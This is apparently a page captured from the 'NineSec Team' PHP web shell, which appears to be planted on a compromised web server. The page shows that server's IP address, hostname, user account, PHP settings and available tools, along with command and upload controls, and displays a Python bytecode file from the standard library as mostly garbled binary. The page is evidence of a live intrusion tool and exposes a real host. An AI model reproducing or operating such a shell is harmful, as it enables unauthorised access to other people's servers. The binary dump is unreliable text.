NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /opt/alt/python311/lib64/python3.11/importlib/metadata/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //opt/alt/python311/lib64/python3.11/importlib/metadata/__pycache__/_itertools.cpython-311.pyc
�

�f��(�ddlmZdd�Zeeffd�ZdS)�)�filterfalseNc#��K�t��}|j}|�)t|j|��D]}||��|V��dS|D] }||��}||vr||��|V��!dS)zHList unique elements, preserving order. Remember all elements ever seen.N)�set�addr�__contains__)�iterable�key�seen�seen_add�element�ks      �D/opt/alt/python311/lib64/python3.11/importlib/metadata/_itertools.py�unique_everseenrs������5�5�D��x�H�
�{�"�4�#4�h�?�?�	�	�G��H�W�����M�M�M�M�	�	� �	�	�G���G���A���}�}��������
�
�
��		�	�c���|�td��S|� t||��rt|f��S	t|��S#t$rt|f��cYSwxYw)axIf *obj* is iterable, return an iterator over its items::

        >>> obj = (1, 2, 3)
        >>> list(always_iterable(obj))
        [1, 2, 3]

    If *obj* is not iterable, return a one-item iterable containing *obj*::

        >>> obj = 1
        >>> list(always_iterable(obj))
        [1]

    If *obj* is ``None``, return an empty iterable:

        >>> obj = None
        >>> list(always_iterable(None))
        []

    By default, binary and text strings are not considered iterable::

        >>> obj = 'foo'
        >>> list(always_iterable(obj))
        ['foo']

    If *base_type* is set, objects for which ``isinstance(obj, base_type)``
    returns ``True`` won't be considered iterable.

        >>> obj = {'a': 1}
        >>> list(always_iterable(obj))  # Iterate over the dict's keys
        ['a']
        >>> list(always_iterable(obj, base_type=dict))  # Treat dicts as a unit
        [{'a': 1}]

    Set *base_type* to ``None`` to avoid any special handling and treat objects
    Python considers iterable as iterable:

        >>> obj = 'foo'
        >>> list(always_iterable(obj, base_type=None))
        ['f', 'o', 'o']
    N�)�iter�
isinstance�	TypeError)�obj�	base_types  r�always_iterablersx��R�{��B�x�x����:�c�9�#=�#=���S�F�|�|����C�y�y��������S�F�|�|�������s�A�A!� A!)N)�	itertoolsrr�str�bytesrrrr�<module>rsR��!�!�!�!�!�!�����&%(��<�2�2�2�2�2�2r

NineSec Team - 2022